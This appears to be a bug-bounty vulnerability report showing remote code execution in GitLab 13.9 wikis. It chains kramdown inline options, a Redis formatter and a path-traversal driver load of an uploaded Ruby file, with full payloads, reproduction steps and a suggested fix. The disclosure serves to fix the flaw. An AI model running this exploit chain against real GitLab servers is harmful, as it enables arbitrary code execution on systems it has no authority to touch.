When rendering wiki content with certain extensions such as `.rmd`, `render_wiki_content` will call [`other_markup_unsafe`](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.9.3-ee/app/helpers/markup_helper.rb#L145) which will end up calling `GitHub::Markup.render` from the `github-markup` gem. Files with any extension can be uploaded by checking out the wiki with git, commiting the files and pushing the changes back.
Since `kramdown` is loaded, this will end up using it for the [markdown parser](https://github.com/github/markup/blob/v1.7.0/lib/github/markup/markdown.rb#L23) by calling `Kramdown::Document.new(content).to_html`
Kramdown has a special extension that allows for options to be [set inline](https://kramdown.gettalong.org/options.html), the example they give is: `{::options auto_ids="false" footnote_nr="5" syntax_highlighter_opts="{line_numbers: true\}" /}`
The default syntax highlighter is `rouge` which has an option [`formatter`](https://kramdown.gettalong.org/syntax_highlighter/rouge.html) that can be set via `syntax_highlighter_opts` in the inline options. This option gets used by [`formatter_class`](https://github.com/gettalong/kramdown/blob/REL_2_3_0/lib/kramdown/converter/syntax_highlighter/rouge.rb#L73):
```
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
def self.formatter_class(opts = {})
puts "formatter"
puts opts[:formatter]
case formatter = opts[:formatter]
when Class
formatter
when /\A[[:upper:]][[:alnum:]_]*\z/
::Rouge::Formatters.const_get(formatter)
else
# Available in Rouge 2.0 or later
::Rouge::Formatters::HTMLLegacy
end
rescue NameError
# Fallback to Rouge 1.x
::Rouge::Formatters::HTML
end
```
So this a means that `::Rouge::Formatters.const_get(opts[:formatter]).new(opts)` will be called, where `opts` is controllable via the inline options to kramdown, allowing ruby objects to be initialised so long as the validation of `/\A[[:upper:]][[:alnum:]_]*\z/` passes. The validation slightly restricts things, but pretty much any class without a namespace (`::` is not allowed) can be created. For example (the two `~~` should have an extra `~` but it's messing up the h1 formatting so will need to add it):
```
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~ ruby
def what?
42
end
~~
```
Will result in a `CSV` object being created and then it will error with `private method 'format' called for #<CSV:0x00007fe4df7e26d0>` as it tries to use this as the formatter.
One of the loaded classes is gitlab is `Redis` from [redis-rb](https://github.com/redis/redis-rb) which has an option `driver` that is used to load the driver class:
https://github.com/redis/redis-rb/blob/v4.1.3/lib/redis/client.rb#L507
```
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
```
As both `require_relative` and `require` allow for directory traversal, supplying a `driver` option such as `../../../../../../../../../../tmp/a.rb` will cause that file to be evaluated.
One of the ways to get a file to a known location in gitlab is to attach a file in the description of a snippet. When attaching, a markdown link will be created similar to: `[file.rb](/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb)`. The default `gitlab_rails['uploads_directory']` is `/var/opt/gitlab/gitlab-rails/uploads` meaning the final file location will be `/var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb`.
Combining all of of this, we can create the following `.rmd` file to execute our payload (add `~` to both of the `~~`):
```
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb\}" /}
~~ ruby
def what?
42
end
~~
```
### Steps to reproduce
1. Create a new snippet with any title and file
2. In the description, click `Attach a file` and select the final ruby payload such as:
```
puts "hello from ruby"
`echo vakzz was here > /tmp/vakzz`
```
```
3. Make note of the upload path: `/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb`
4. Create a new project
5. Click Wiki and create a default home page
6. Hit `Clone repository` to get the clone command
7. Clone the repo `git clone git@gitlab-docker.local:root/proj1.wiki.git` and add the following file `page1.rmd` using the path from above (add `~` to both the the `~~`):
```
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb\}" /}
~~ ruby
def what?
42
end
~~
```
```
8. Push the changes `git add -A . && git commit -m "page1.rmd" && git push`
9. Refresh the wiki, there should now be `page1 ` of the right hand side
10. Click and load `page1`
11. In the gitlab logs you should see something like:
```
wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb
lib/gitlab/other_markup.rb:11:in `render'
app/helpers/markup_helper.rb:280:in `other_markup_unsafe'
app/helpers/markup_helper.rb:145:in `markup_unsafe'
app/helpers/markup_helper.rb:130:in `render_wiki_content'
app/views/shared/wikis/show.html.haml:30
```
```
12. Looking at `/tmp` you can see that the payload was executed:
```
root@gitlab-docker:~# cat /tmp/vakzz
vakzz was here
```
```
### Impact
Allows any user with push access to a wiki to execute arbitrary ruby code.
### Examples
Example page using the inline options to change the highlighter from rouge to `minted` - https://gitlab.com/vakzz-h1/kramdown-wiki/-/wikis/page1
### What is the current *bug* behavior?
Inline options can be set when rendering kramdown documents
### What is the expected *correct* behavior?
`forbidden_inline_options` could be use to disable the dangerous inline options - https://kramdown.gettalong.org/options.html
### Output of checks
#### Results of GitLab environment info
```
System information
System:
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.3
Redis Version: 6.0.10
Git Version: 2.29.0
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.9.1-ee
Revision: 8ae438629fa
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.5
URL: http://gitlab-docker.local
HTTP Clone URL: http://gitlab-docker.local/some-group/some-project.git
SSH Clone URL: git@gitlab-docker.local:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.16.1
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
```
## Impact
Allows any user with push access to a wiki to execute arbitrary ruby code.
暂无评论